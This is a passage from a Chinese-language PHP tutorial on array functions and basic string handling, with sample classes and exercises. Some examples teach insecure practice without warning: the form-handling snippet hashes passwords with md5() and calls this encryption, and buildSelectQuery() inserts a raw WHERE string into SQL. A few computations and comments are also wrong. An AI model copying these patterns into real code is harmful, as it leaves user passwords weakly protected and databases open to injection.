    ["name" => "C", "price" => 75, "quantity" => 1]
];
$totalValue = array_sum(array_column($products, "price")) * array_sum(array_column($products, "quantity"));

2. array_product() - 计算数组元素乘积

$numbers = [1, 2, 3, 4];
$product = array_product($numbers);  // 24

// 计算阶乘
function factorial($n) {
    return array_product(range(1, $n));
}
echo factorial(5);  // 120

3. max() / min() - 找出最大值和最小值

$numbers = [3, 1, 4, 1, 5, 9, 2, 6];
$max = max($numbers);  // 9
$min = min($numbers);  // 1

// 关联数组
$scores = ["张三" => 85, "李四" => 92, "王五" => 78];
$highestScore = max($scores);  // 92
$lowestScore = min($scores);   // 78

数组转换函数

1. array_keys() / array_values() - 获取键和值

$user = ["name" => "张三", "age" => 25, "email" => "zhangsan@example.com"];

$keys = array_keys($user);      // ["name", "age", "email"]
$values = array_values($user);  // ["张三", 25, "zhangsan@example.com"]

// 获取特定值的键
$users = [
    ["id" => 1, "name" => "张三"],
    ["id" => 2, "name" => "李四"],
    ["id" => 3, "name" => "王五"]
];
$ids = array_column($users, "id");  // [1, 2, 3]

2. array_flip() - 交换键和值

$mapping = ["red" => "#FF0000", "green" => "#00FF00", "blue" => "#0000FF"];
$flipped = array_flip($mapping);
// ["#FF0000" => "red", "#00FF00" => "green", "#0000FF" => "blue"]

// 创建快速查找表
$statusMap = [1 => "待处理", 2 => "处理中", 3 => "已完成"];
$statusToId = array_flip($statusMap);
// ["待处理" => 1, "处理中" => 2, "已完成" => 3]

3. array_unique() - 移除重复值

$numbers = [1, 2, 2, 3, 3, 3, 4];
$unique = array_unique($numbers);  // [1, 2, 3, 4]

// 关联数组去重
$users = [
    ["id" => 1, "email" => "test@test.com"],
    ["id" => 2, "email" => "test@test.com"],  // 重复邮箱
    ["id" => 3, "email" => "another@test.com"]
];
$emails = array_unique(array_column($users, "email"));

数组比较函数

1. array_diff() - 计算数组的差集

$array1 = [1, 2, 3, 4, 5];
$array2 = [3, 4, 5, 6, 7];
$diff = array_diff($array1, $array2);  // [1, 2](在array1中但不在array2中)

// 关联数组差集
$config1 = ["debug" => true, "timeout" => 30, "retry" => 3];
$config2 = ["debug" => false, "timeout" => 30];
$diff = array_diff_assoc($config1, $config2);
// ["debug" => true, "retry" => 3]

2. array_intersect() - 计算数组的交集

$array1 = [1, 2, 3, 4, 5];
$array2 = [3, 4, 5, 6, 7];
$intersect = array_intersect($array1, $array2);  // [3, 4, 5]

// 实际应用:标签匹配
function findCommonTags($userTags, $requiredTags) {
    return array_intersect($userTags, $requiredTags);
}

$userTags = ["php", "javascript", "mysql", "redis"];
$requiredTags = ["php", "mysql", "docker"];
$matched = findCommonTags($userTags, $requiredTags);  // ["php", "mysql"]

实际应用示例

1. 完整的数据处理管道

<?php
class DataProcessor {
    private $data = [];

    public function loadData(array $data) {
        $this->data = $data;
        return $this;
    }

    // 过滤数据
    public function filter(callable $callback) {
        $this->data = array_filter($this->data, $callback);
        return $this;
    }

    // 转换数据
    public function map(callable $callback) {
        $this->data = array_map($callback, $this->data);
        return $this;
    }

    // 排序数据
    public function sort(callable $callback) {
        usort($this->data, $callback);
        return $this;
    }

    // 分组数据
    public function groupBy($key) {
        $grouped = [];
        foreach ($this->data as $item) {
            $groupKey = is_callable($key) ? $key($item) : $item[$key];
            $grouped[$groupKey][] = $item;
        }
        $this->data = $grouped;
        return $this;
    }

    // 获取结果
    public function get() {
        return $this->data;
    }

    // 获取统计信息
    public function getStats() {
        return [
            'count' => count($this->data),
            'sum' => array_sum(array_column($this->data, 'amount')),
            'avg' => $this->getAverage(),
            'max' => max(array_column($this->data, 'amount')),
            'min' => min(array_column($this->data, 'amount'))
        ];
    }

    private function getAverage() {
        $amounts = array_column($this->data, 'amount');
        return count($amounts) > 0 ? array_sum($amounts) / count($amounts) : 0;
    }
}

// 使用示例
$sales = [
    ['id' => 1, 'product' => 'A', 'amount' => 100, 'region' => '北京'],
    ['id' => 2, 'product' => 'B', 'amount' => 150, 'region' => '上海'],
    ['id' => 3, 'product' => 'A', 'amount' => 80, 'region' => '北京'],
    ['id' => 4, 'product' => 'C', 'amount' => 200, 'region' => '广州'],
    ['id' => 5, 'product' => 'B', 'amount' => 120, 'region' => '上海']
];

// 数据处理管道
$result = (new DataProcessor())
    ->loadData($sales)
    ->filter(function($item) {
        return $item['amount'] > 90;  // 过滤金额大于90的记录
    })
    ->map(function($item) {
        return array_merge($item, [
            'amount_with_tax' => $item['amount'] * 1.1,
            'category' => $item['amount'] > 150 ? '高价值' : '中等价值'
        ]);
    })
    ->sort(function($a, $b) {
        return $b['amount'] - $a['amount'];  // 按金额降序
    })
    ->groupBy('region')  // 按地区分组
    ->get();

echo "按地区分组的结果:\n";
print_r($result);

// 原始数据统计
$stats = (new DataProcessor())
    ->loadData($sales)
    ->getStats();

echo "\n销售统计:\n";
print_r($stats);
?>

2. 数组工具类

<?php
class ArrayHelper {
    /**
     * 深度合并数组
     */
    public static function mergeDeep($array1, $array2) {
        $merged = $array1;

        foreach ($array2 as $key => $value) {
            if (is_array($value) && isset($merged[$key]) && is_array($merged[$key])) {
                $merged[$key] = self::mergeDeep($merged[$key], $value);
            } else {
                $merged[$key] = $value;
            }
        }

        return $merged;
    }

    /**
     * 获取嵌套数组值
     */
    public static function get($array, $key, $default = null) {
        if (is_null($key)) {
            return $array;
        }

        if (isset($array[$key])) {
            return $array[$key];
        }

        foreach (explode('.', $key) as $segment) {
            if (!is_array($array) || !array_key_exists($segment, $array)) {
                return $default;
            }
            $array = $array[$segment];
        }

        return $array;
    }

    /**
     * 设置嵌套数组值
     */
    public static function set(&$array, $key, $value) {
        $keys = explode('.', $key);
        $current = &$array;

        foreach ($keys as $i => $k) {
            if (!isset($current[$k]) || !is_array($current[$k])) {
                $current[$k] = [];
            }
            $current = &$current[$k];
        }

        $current = $value;
    }

    /**
     * 多维数组排序
     */
    public static function multiSort(&$array, $keys, $order = SORT_ASC) {
        if (!is_array($array) || empty($array)) {
            return;
        }

        $args = [];
        foreach ($keys as $key) {
            $args[] = array_column($array, $key);
        }
        $args[] = $order;
        $args[] = &$array;

        call_user_func_array('array_multisort', $args);
    }

    /**
     * 数组分页
     */
    public static function paginate($array, $page, $perPage) {
        $total = count($array);
        $offset = ($page - 1) * $perPage;
        $items = array_slice($array, $offset, $perPage);

        return [
            'data' => $items,
            'total' => $total,
            'per_page' => $perPage,
            'current_page' => $page,
            'last_page' => ceil($total / $perPage)
        ];
    }

    /**
     * 树形数组转换
     */
    public static function toTree($array, $idKey = 'id', $parentKey = 'parent_id', $childrenKey = 'children') {
        $tree = [];
        $references = [];

        // 第一遍:创建引用
        foreach ($array as $item) {
            $id = $item[$idKey];
            $references[$id] = $item;
            $references[$id][$childrenKey] = [];
        }

        // 第二遍:构建树
        foreach ($array as $item) {
            $id = $item[$idKey];
            $parentId = $item[$parentKey] ?? null;

            if ($parentId === null) {
                $tree[$id] = &$references[$id];
            } else {
                if (isset($references[$parentId])) {
                    $references[$parentId][$childrenKey][$id] = &$references[$id];
                }
            }
        }

        return array_values($tree);
    }

    /**
     * 验证数组键是否存在
     */
    public static function hasAllKeys($array, $keys) {
        foreach ($keys as $key) {
            if (!array_key_exists($key, $array)) {
                return false;
            }
        }
        return true;
    }

    /**
     * 获取数组中的随机元素
     */
    public static function random($array, $count = 1) {
        $shuffled = $array;
        shuffle($shuffled);

        if ($count === 1) {
            return $shuffled[0] ?? null;
        }

        return array_slice($shuffled, 0, min($count, count($shuffled)));
    }
}

// 使用示例
// 深度合并配置
$defaultConfig = [
    'database' => [
        'host' => 'localhost',
        'port' => 3306,
        'options' => [
            'charset' => 'utf8'
        ]
    ],
    'cache' => [
        'enabled' => false
    ]
];

$userConfig = [
    'database' => [
        'host' => 'remote-host',
        'options' => [
            'timeout' => 30
        ]
    ],
    'cache' => [
        'enabled' => true,
        'driver' => 'redis'
    ]
];

$mergedConfig = ArrayHelper::mergeDeep($defaultConfig, $userConfig);

// 获取嵌套值
$dbHost = ArrayHelper::get($mergedConfig, 'database.host'); // remote-host
$dbTimeout = ArrayHelper::get($mergedConfig, 'database.options.timeout', 10); // 30

// 构建树形结构
$categories = [
    ['id' => 1, 'parent_id' => null, 'name' => '电子产品'],
    ['id' => 2, 'parent_id' => 1, 'name' => '手机'],
    ['id' => 3, 'parent_id' => 1, 'name' => '电脑'],
    ['id' => 4, 'parent_id' => null, 'name' => '服装'],
    ['id' => 5, 'parent_id' => 4, 'name' => '男装'],
    ['id' => 6, 'parent_id' => 4, 'name' => '女装']
];

$tree = ArrayHelper::toTree($categories);
?>

常见错误和解决方案

1. 使用错误的函数类型

// 错误:对关联数组使用sort()
$user = ["name" => "张三", "age" => 25];
sort($user);  // 会丢失键值关联

// 正确:使用asort()保持键值关联
asort($user);  // ["age" => 25, "name" => "张三"]

2. 函数参数顺序错误

// 错误:array_slice参数顺序
$result = array_slice(5, $array, 2);  // 错误

// 正确:array_slice(数组, 起始位置, 长度)
$result = array_slice($array, 5, 2);

3. 忘记重新索引

$array = [1, 2, 3, 4, 5];
unset($array[2]);  // [1, 2, 4, 5],索引不连续

// 重新索引
$array = array_values($array);  // [1, 2, 4, 5],索引连续

性能优化建议

1. 选择合适的函数

// 检查元素是否存在
// 对于大数组,isset()比in_array()更快
if (isset($array[$key])) {  // O(1)
    // ...
}

if (in_array($value, $array)) {  // O(n)
    // ...
}

2. 避免不必要的循环

// 不好的做法:多次循环
$ids = [];
foreach ($users as $user) {
    $ids[] = $user['id'];
}
$emails = [];
foreach ($users as $user) {
    $emails[] = $user['email'];
}

// 好的做法:一次循环获取多个字段
$ids = $emails = [];
foreach ($users as $user) {
    $ids[] = $user['id'];
    $emails[] = $user['email'];
}

// 更好的做法:使用array_column()
$ids = array_column($users, 'id');
$emails = array_column($users, 'email');

3. 使用引用避免复制

// 处理大数组时使用引用
foreach ($largeArray as &$item) {
    $item['processed'] = true;  // 直接修改原数组
}
unset($item);  // 解除引用

练习题

基础练习

  1. 数组函数应用

    // 创建一个包含学生信息的数组
    // 使用各种函数进行数据操作:
    // - 过滤出年龄大于20的学生
    // - 按成绩排序
    // - 计算平均成绩
    // - 提取所有学生姓名
    
  2. 数据处理

    // 从用户提交的数据中:
    // - 移除重复值
    // - 过滤空值
    // - 验证必需字段
    // - 格式化输出
    

进阶练习

  1. 复杂排序

    // 实现一个多维数组排序函数
    // 支持多字段排序
    // 支持升序/降序
    // 支持自定义排序规则
    
  2. 数组工具类

    // 创建一个数组工具类
    // 包含常用的数组操作方法
    // 如:深度合并、嵌套访问、树形转换等
    

实战练习

  1. 数据分析工具

    // 实现一个简单的数据分析工具
    // 支持数据导入、清洗、分析
    // 生成统计报告和图表数据
    
  2. 配置管理器

    // 使用数组函数实现配置管理
    // 支持配置合并、继承、验证
    // 支持环境配置覆盖
    

总结

PHP的数组函数功能强大且丰富,掌握这些函数可以大大提高开发效率。通过本节的学习,你应该:

  1. 熟悉常用的数组函数及其用途
  2. 能够根据需求选择合适的函数
  3. 理解函数的性能特点
  4. 能够组合使用多个函数解决复杂问题
  5. 了解常见错误和优化技巧

在实际开发中,建议:

  • 多查阅PHP官方文档了解函数详情
  • 注意函数的参数和返回值类型
  • 考虑性能影响,特别是处理大数组时
  • 编写可读性强、易于维护的代码

数组函数是PHP开发的重要工具,熟练运用它们将让你的代码更加简洁、高效和优雅。

第6章:字符串处理

字符串是PHP中最重要、最常用的数据类型之一。在Web开发中,我们处理的大部分数据都是文本形式——用户输入、数据库内容、HTML输出、日志记录等,都需要通过字符串操作来处理。掌握字符串处理是每个PHP开发者的必备技能。

本章学习目标

通过本章的学习,你将能够:

  • 🎯 理解字符串的概念和在PHP中的重要性
  • 🔧 掌握字符串的创建、访问和基本操作
  • 🛠️ 熟练使用PHP内置的字符串处理函数
  • 🔍 学会使用正则表达式进行复杂的文本匹配
  • 📝 掌握字符串格式化和输出的各种技巧
  • 🔒 了解字符串处理中的安全问题(如XSS防护)
  • 💻 能够独立开发文本处理相关的应用功能

为什么字符串处理如此重要?

在Web开发中,字符串处理无处不在:

1. 用户输入处理

// 用户注册表单数据处理
$username = trim($_POST['username']);        // 去除空格
$email = strtolower($_POST['email']);         // 转换为小写
$password = md5($_POST['password']);          // 加密处理

2. 数据展示和格式化

// 商品价格格式化
$price = 1299.99;
$formatted_price = '¥' . number_format($price, 2); // ¥1,299.99

// 日期格式化
$date = '2024-01-15';
$formatted_date = date('Y年m月d日', strtotime($date)); // 2024年01月15日

3. 内容生成和管理

// 生成文章摘要
$article = "PHP是一种广泛使用的开源脚本语言...";
$summary = substr($article, 0, 100) . '...'; // 截取前100个字符

4. 数据验证和安全

// 验证邮箱格式
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo "邮箱格式不正确";
}

// 防止XSS攻击
$safe_input = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

字符串的基本特性

字符串的定义

字符串是由零个或多个字符组成的序列。在PHP中,字符可以是字母、数字、符号、空格,甚至是中文字符。

// 不同类型的字符串
$simple_string = "Hello World";           // 简单英文字符串
$chinese_string = "你好,世界!";          // 中文字符串
$number_string = "12345";                 // 数字组成的字符串
$empty_string = "";                       // 空字符串
$complex_string = "PHP@2024#$%^&*()";     // 包含特殊字符

PHP字符串的特点

  1. 字节级别处理:PHP将字符串视为字节序列
  2. 无长度限制:理论上字符串长度只受内存限制
  3. Unicode支持:PHP 7+对Unicode有良好支持
  4. 多种创建方式:支持单引号、双引号、Heredoc等

本章内容结构

6.1 字符串基础

  • 字符串的创建和表示方法
  • 字符串的访问和修改
  • 字符串连接和比较
  • 特殊字符和转义序列

6.2 字符串操作函数

  • 字符串长度和计算
  • 字符串查找和替换
  • 字符串分割和合并
  • 大小写转换和清理
  • HTML和安全相关函数

6.3 正则表达式入门

  • 正则表达式基础概念
  • 常用元字符和模式
  • PHP正则表达式函数
  • 实际应用示例

6.4 字符串格式化

  • 数字格式化
  • 日期时间格式化
  • 字符串填充和对齐
  • 模板和占位符处理

实战项目:文章管理系统

为了更好地理解字符串处理的重要性,让我们看一个简单的文章管理系统示例:

<?php
class ArticleManager {
    // 文章存储数组
    private $articles = [];

    /**
     * 添加文章
     * @param string $title 文章标题
     * @param string $content 文章内容
     * @param string $author 作者
     * @return bool 是否添加成功
     */
    public function addArticle($title, $content, $author) {
        // 数据验证和清理
        if (empty(trim($title)) || empty(trim($content))) {
            return false;
        }

        // XSS防护
        $safe_title = htmlspecialchars($title, ENT_QUOTES, 'UTF-8');
        $safe_content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
        $safe_author = htmlspecialchars($author, ENT_QUOTES, 'UTF-8');

        // 生成摘要
        $summary = $this->generateSummary($safe_content);

        // 生成URL友好的slug
        $slug = $this->generateSlug($safe_title);

        // 存储文章
        $article = [
            'id' => count($this->articles) + 1,
            'title' => $safe_title,
            'content' => $safe_content,
            'summary' => $summary,
            'author' => $safe_author,
            'slug' => $slug,
            'created_at' => date('Y-m-d H:i:s'),
            'word_count' => str_word_count(strip_tags($safe_content))
        ];

        $this->articles[] = $article;
        return true;
    }

    /**
     * 生成文章摘要
     */
    private function generateSummary($content, $length = 150) {
        // 移除HTML标签
        $clean_content = strip_tags($content);
        // 截取指定长度
        if (mb_strlen($clean_content) > $length) {
            $summary = mb_substr($clean_content, 0, $length) . '...';
        } else {
            $summary = $clean_content;
        }
        return trim($summary);
    }

    /**
     * 生成URL友好的slug
     */
    private function generateSlug($title) {
        // 转换为小写
        $slug = strtolower($title);
        // 替换中文为拼音(这里简化处理)
        $slug = preg_replace('/[\p{Han}]/u', '', $slug);
        // 替换非字母数字字符为连字符
        $slug = preg_replace('/[^a-z0-9]+/', '-', $slug);
        // 移除开头和结尾的连字符
        $slug = trim($slug, '-');
        return $slug ?: 'article';
    }

    /**
     * 搜索文章
     */
    public function searchArticles($keyword) {
        $results = [];
        $keyword = strtolower(trim($keyword));

        foreach ($this->articles as $article) {
            // 在标题和内容中搜索关键词
            if (strpos(strtolower($article['title']), $keyword) !== false ||
                strpos(strtolower($article['content']), $keyword) !== false) {
                // 高亮关键词
                $article['title_highlighted'] = $this->highlightKeyword(
                    $article['title'], $keyword
                );
                $article['summary_highlighted'] = $this->highlightKeyword(
                    $article['summary'], $keyword
                );
                $results[] = $article;
            }
        }

        return $results;
    }

    /**
     * 高亮关键词
     */
    private function highlightKeyword($text, $keyword) {
        if (empty($keyword)) return $text;
        return preg_replace(
            '/' . preg_quote($keyword, '/') . '/i',
            '<mark>$0</mark>',
            $text
        );
    }

    /**
     * 格式化文章显示
     */
    public function formatArticle($article) {
        // 格式化创建时间
        $formatted_date = date('Y年m月d日 H:i', strtotime($article['created_at']));

        // 格式化阅读时间(假设每分钟200字)
        $reading_time = ceil($article['word_count'] / 200);

        return [
            'title' => $article['title'],
            'content' => nl2br($article['content']), // 将换行符转换为<br>
            'summary' => $article['summary'],
            'author' => $article['author'],
            'formatted_date' => $formatted_date,
            'reading_time' => $reading_time . '分钟',
            'word_count' => $article['word_count'] . '字'
        ];
    }
}

// 使用示例
$manager = new ArticleManager();

// 添加文章
$manager->addArticle(
    "PHP字符串处理完全指南",
    "本文将详细介绍PHP中字符串处理的各种技巧和方法,包括基础操作、函数使用、正则表达式等。通过学习本章内容,你将能够熟练处理各种字符串相关的任务。",
    "张三"
);

// 搜索文章
$search_results = $manager->searchArticles("字符串");

foreach ($search_results as $result) {
    echo "标题: " . $result['title_highlighted'] . "\n";
    echo "摘要: " . $result['summary_highlighted'] . "\n\n";
}
?>

这个简单的文章管理系统展示了字符串处理在实际应用中的重要性:

  1. 数据验证和清理:确保输入数据的有效性和安全性
  2. 文本格式化:生成摘要、格式化时间等
  3. 搜索功能:关键词搜索和高亮显示
  4. URL生成:创建搜索引擎友好的URL
  5. 安全防护:防止XSS攻击等安全问题

学习建议

循序渐进的学习路径

  1. 基础阶段:先掌握字符串的基本概念和操作
  2. 函数阶段:学习和记忆常用的字符串函数
  3. 正则表达式:这是难点,需要多练习和应用
  4. 综合应用:在实际项目中运用所学知识

实践建议

  1. 多动手练习:每个函数都要亲手试一遍
  2. 实际项目应用:在个人项目中使用字符串处理技术
  3. 阅读官方文档:PHP官方文档是最好的参考资料
  4. 关注性能和安全:学习编写高效、安全的代码

常见学习误区

  1. 忽视安全问题:不处理用户输入直接输出
  2. 过度使用正则表达式:简单操作不要滥用正则
  3. 不注意编码问题:中文字符串处理要特别注意UTF-8编码
  4. 性能考虑不足:大字符串操作时要注意内存使用

本章练习

基础练习

  1. 创建一个字符串,包含你的姓名、年龄和兴趣爱好
  2. 使用不同的方法(单引号、双引号、Heredoc)创建相同的字符串
  3. 练习字符串连接和基本的字符串操作

进阶练习

  1. 编写一个用户注册验证函数,验证用户名、密码、邮箱格式
  2. 创建一个文本统计工具,统计文章的字数、段落数、句子数
  3. 实现一个简单的模板引擎,支持变量替换

实战项目

  1. 完善上面的文章管理系统,添加更多功能
  2. 开发一个CSV文件解析器,处理导入的数据
  3. 创建一个简单的关键词提取工具

总结

字符串处理是PHP开发中的核心技能之一。通过本章的学习,你将掌握从基础的字符串操作到高级的文本处理技巧。记住,好的字符串处理不仅能让代码更加优雅,还能提高应用的安全性和性能。

在接下来的学习中,我们将逐步深入每个主题,从基础开始,逐步掌握PHP字符串处理的各个方面。让我们开始这段有趣的学习之旅吧!

💡 小贴士:建议按照章节顺序学习,每个概念都要动手实践。字符串处理看起来简单,但要真正掌握需要大量的练习和实际应用经验。

下一章学习指南:完成本章学习后,你将具备处理各种文本任务的能力,为后续的Web表单处理、数据库操作等章节打下坚实基础。

6.1 字符串基础

字符串是PHP编程中最基本也是最常用的数据类型之一。理解字符串的基础知识是掌握PHP字符串处理的第一步。本节将详细介绍字符串的创建、表示、访问、修改等基本操作。

字符串的定义和概念

什么是字符串?

字符串是由零个或多个字符组成的有限序列。在PHP中,字符串可以包含:

  • 字母(大小写英文字母、中文字符等)
  • 数字(0-9)
  • 特殊符号(!@#$%^&*()等)
  • 空格和空白字符
  • 控制字符(换行符、制表符等)

字符串在内存中的表示

PHP将字符串存储为字节序列,这意味着:

<?php
// 不同编码的字符串
$ascii_string = "Hello";        // ASCII编码,每个字符占1字节
$utf8_chinese = "你好";         // UTF-8编码,中文字符通常占3字节
$emoji = "😊";                  // UTF-8编码,emoji通常占4字节

// 查看字符串的字节长度
echo strlen($ascii_string) . "\n";      // 输出: 5
echo strlen($utf8_chinese) . "\n";      // 输出: 6 (2个中文字符×3字节)
echo strlen($emoji) . "\n";             // 输出: 4

// 查看字符数量(需要使用多字节函数)
echo mb_strlen($utf8_chinese, 'UTF-8') . "\n";  // 输出: 2
?>

字符串的创建方式

PHP提供了多种创建字符串的方式,每种方式都有其特点和适用场景。

1. 单引号字符串

单引号是最简单的字符串定义方式:

<?php
// 基本单引号字符串
$simple = 'Hello World';
$chinese = '你好,PHP编程';
$empty = '';

// 单引号中的特殊字符处理
$text = 'This is a \n test';  // \n 不会被解析为换行符
$quote = 'It\'s a test';      // 使用反斜杠转义单引号
$backslash = 'Path\\to\\file'; // 转义反斜杠

echo $simple . "\n";
echo $text . "\n";           // 输出: This is a \n test
echo $quote . "\n";          // 输出: It's a test
?>

单引号的特点:

  • 变量和转义字符(除了\和')不会被解析
  • 处理速度较快
  • 适合包含纯文本内容

2. 双引号字符串

双引号字符串支持变量解析和转义字符:

<?php
$name = "张三";
$age = 25;

// 变量解析
$greeting = "你好,$name!";           // 输出: 你好,张三!
$info = "姓名:{$name},年龄:{$age}岁"; // 输出: 姓名:张三,年龄:25岁

// 转义字符解析
$multiline = "第一行\n第二行\t制表符";
$quote = "他说:\"PHP很有趣!\"";
$dollar = "价格:\$100";

echo $greeting . "\n";
echo $info . "\n";
echo $multiline . "\n";
echo $quote . "\n";
echo $dollar . "\n";
?>

双引号的特点:

  • 支持变量解析(简单变量和数组元素)
  • 支持转义字符(\n, \t, \r, \, $, "等)
  • 处理速度比单引号稍慢
  • 适合包含变量和需要转义的文本

3. Heredoc语法

Heredoc用于创建包含大量文本的字符串:

<?php
$name = "李四";

// Heredoc语法
$html = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>欢迎页面</title>
</head>
<body>
    <h1>欢迎,{$name}!</h1>
    <p>这是一个使用Heredoc创建的HTML模板。</p>
</body>
</html>
HTML;

echo $html;

// 不包含变量的Heredoc
$text = <<<TEXT
这是一个长文本,
可以跨越多行,
不需要担心引号问题。
"双引号"和'单引号'都可以直接使用。
TEXT;

echo $text;
?>

4. Nowdoc语法

Nowdoc类似于单引号,不解析变量和转义字符:

<?php
$name = "王五";

// Nowdoc语法
$template = <<<'TEMPLATE'
用户模板
---------
姓名:{$name}  // 这里的变量不会被解析
邮箱:user@example.com
"引号"不会被转义
TEMPLATE;

echo $template;
?>

字符串的访问和操作

访问字符串中的字符

PHP提供了多种访问字符串中单个字符的方法:

<?php
$string = "Hello PHP";

// 方法1:使用花括号(PHP 7.4+已废弃)
$char1 = $string{0};     // 'H'
$char2 = $string{6};     // 'P'

// 方法2:使用方括号(推荐)
$char3 = $string[0];     // 'H'
$char4 = $string[6];     // 'P'

// 获取字符串长度并访问最后一个字符
$length = strlen($string);
$last_char = $string[$length - 1]; // 'P'

echo "第一个字符: {$char3}\n";
echo "第七个字符: {$char4}\n";
echo "最后一个字符: {$last_char}\n";

// 遍历字符串中的每个字符
for ($i = 0; $i < $length; $i++) {
    echo "位置{$i}: {$string[$i]}\n";
}
?>

修改字符串中的字符

可以通过索引直接修改字符串中的字符:

<?php
$string = "Hello World";

// 修改单个字符
$string[0] = 'J';        // 变为 "Jello World"
$string[6] = 'P';        // 变为 "Jello Porld"

echo $string . "\n";

// 批量修改示例:首字母大写
function capitalizeFirst($str) {
    if (empty($str)) return $str;
    $str[0] = strtoupper($str[0]);
    return $str;
}

echo capitalizeFirst("hello") . "\n";  // "Hello"
echo capitalizeFirst("world") . "\n";  // "World"
?>

字符串连接

基本连接操作

<?php
// 使用点号连接
$first_name = "张";
$last_name = "三";
$full_name = $first_name . $last_name;
echo $full_name . "\n";  // "张三"

// 连接多个字符串
$greeting = "你好," . $first_name . $last_name . "!";
echo $greeting . "\n";  // "你好,张三!"

// 连接不同类型的值
$age = 25;
$message = "我今年" . $age . "岁了";
echo $message . "\n";   // "我今年25岁了"
?>

使用连接赋值运算符

<?php
$text = "Hello";
$text .= " ";        // 等同于 $text = $text . " ";
$text .= "World";
$text .= "!";

echo $text . "\n";   // "Hello World!"

// 构建HTML示例
$html = "<div>";
$html .= "<h1>标题</h1>";
$html .= "<p>段落内容</p>";
$html .= "</div>";

echo $html . "\n";
?>

复杂字符串构建

<?php
// 构建SQL查询示例
function buildSelectQuery($table, $columns = [], $where = '') {
    $query = "SELECT ";

    if (empty($columns)) {
        $query .= "*";
    } else {
        $query .= implode(", ", $columns);
    }

    $query .= " FROM {$table}";

    if (!empty($where)) {
        $query .= " WHERE {$where}";
    }

    return $query;
}

echo buildSelectQuery("users", ["id", "name", "email"], "age > 18") . "\n";
// 输出: SELECT id, name, email FROM users WHERE age > 18
?>

字符串比较

相等性比较

<?php
// 使用 == 比较(值相等)
$str1 = "hello";
$str2 = "hello";
$str3 = "Hello";  // 大小写不同

var_dump($str1 == $str2);  // bool(true)
var_dump($str1 == $str3);  // bool(false)

// 使用 === 比较(值和类型都相等)
var_dump($str1 === $str2); // bool(true)
var_dump($str1 === "123"); // bool(false)

// 注意:PHP的字符串和数字比较
$number_str = "123";
$number = 123;

var_dump($number_str == $number);  // bool(true) - 类型转换
var_dump($number_str === $number); // bool(false) - 类型不同
?>

大小写敏感比较

<?php
// strcmp() 函数 - 大小写敏感
$result1 = strcmp("Apple", "apple");   // 返回负数
$result2 = strcmp("apple", "Apple");   // 返回正数
$result3 = strcmp("hello", "hello");   // 返回0

echo "Apple vs apple: " . $result1 . "\n";
echo "apple vs Apple: " . $result2 . "\n";
echo "hello vs hello: " . $result3 . "\n";

// 比较结果说明
// 返回值 < 0: 第一个字符串小于第二个字符串
// 返回值 > 0: 第一个字符串大于第二个字符串
// 返回值 = 0: 两个字符串相等
?>

大小写不敏感比较

<?php
// strcasecmp() 函数 - 大小写不敏感
$result1 = strcasecmp("Apple", "apple");   // 返回0
$result2 = strcasecmp("Hello", "HELLO");    // 返回0
$result3 = strcasecmp("PHP", "Python");     // 返回非0

echo "strcasecmp结果:\n";
var_dump($result1);  // int(0)
var_dump($result2);  // int(0)
var_dump($result3);  // int(-1)

// 实际应用:验证用户输入(不区分大小写)
$input = "ADMIN";
$correct_username = "admin";

if (strcasecmp($input, $correct_username) === 0) {
    echo "用户名正确!\n";
} else {
    echo "用户名错误!\n";
}
?>

自然排序比较

<?php
// strcmp vs strnatcmp
$files1 = ["file1.txt", "file10.txt", "file2.txt"];
$files2 = ["file1.txt", "file10.txt", "file2.txt"];

// 普通比较
sort($files1);
echo "普通排序: " . implode(", ", $files1) . "\n";
// 输出: file1.txt, file10.txt, file2.txt

// 自然排序
usort($files2, "strnatcmp");
echo "自然排序: " . implode(", ", $files2) . "\n";
// 输出: file1.txt, file2.txt, file10.txt
?>

特殊字符和转义序列

常用转义字符

<?php
// 在双引号字符串中的转义字符
$text = "换行符:\n制表符:\t回车符:\r";
echo $text . "\n";

// 引号转义
$single = "单引号:\'";
$double = "双引号:\"";
$backslash = "反斜杠:\\";

echo $single . "\n";
echo $double . "\n";
echo $backslash . "\n";

// 美元符号转义
$variable = "变量名使用:\$name 而不是变量的值";
echo $variable . "\n";
?>

八进制和十六进制字符

<?php
// 八进制表示
$octal_a = "\101";  // 'A' 的八进制表示
$octal_newline = "\012";  // 换行符的八进制表示

// 十六进制表示
$hex_a = "\x41";   // 'A' 的十六进制表示
$hex_newline = "\x0A";  // 换行符的十六进制表示

echo "八进制A: {$octal_a}\n";
echo "十六进制A: {$hex_a}\n";
?>

Unicode字符

<?php
// Unicode字符表示(PHP 7.0+)
$unicode1 = "\u{4F60}";    // '你'
$unicode2 = "\u{597D}";    // '好'
$emoji = "\u{1F603}";      // 😊

echo "Unicode字符: {$unicode1}{$unicode2}\n";
echo "Emoji: {$emoji}\n";

// 实际应用:生成特殊符号
$symbols = [
    'check' => "\u{2713}",   // ✓
    'cross' => "\u{2717}",   // ✗
    'star' => "\u{2605}",    // ★
];

echo "状态: " . $symbols['check'] . " 完成\n";
?>

中文字符串处理

UTF-8编码的重要性

处理中文字符串时,必须注意编码问题:

<?php
// 设置内部编码为UTF-8
mb_internal_encoding('UTF-8');

// 中文文本
$chinese_text = "你好,世界!这是一个中文字符串测试。";

// 错误的长度计算(按字节)
echo "字节长度: " . strlen($chinese_text) . "\n";  // 输出字节数

// 正确的字符数量计算
echo "字符数量: " . mb_strlen($chinese_text, 'UTF-8') . "\n";

// 截取子字符串
$substring = mb_substr($chinese_text, 0, 5, 'UTF-8');
echo "前5个字符: {$substring}\n";

// 获取单个字符
$first_char = mb_substr($chinese_text, 0, 1, 'UTF-8');
echo "第一个字符: {$first_char}\n";
?>

中文字符串操作最佳实践

<?php
class ChineseStringHelper {
    /**
     * 安全地获取中文字符串长度
     */
    public static function length($str) {
        return mb_strlen($str, 'UTF-8');
    }

    /**
     * 安全地截取中文字符串
     */
    public static function substring($str, $start, $length = null) {
        return mb_substr($str, $start, $length, 'UTF-8');
    }

    /**
     * 按字符分割中文字符串
     */
    public static function split($str) {
        $length = mb_strlen($str, 'UTF-8');
        $chars = [];

        for ($i = 0; $i < $length; $i++) {
            $chars[] = mb_substr($str, $i, 1, 'UTF-8');
        }

        return $chars;
    }

    /**
     * 检查是否包含中文字符
     */
    public static function containsChinese($str) {
        return preg_match('/[\x{4e00}-\x{9fa5}]/u', $str) > 0;
    }
}

// 使用示例
$text = "PHP编程很有趣!";

echo "字符串长度: " . ChineseStringHelper::length($text) . "\n";
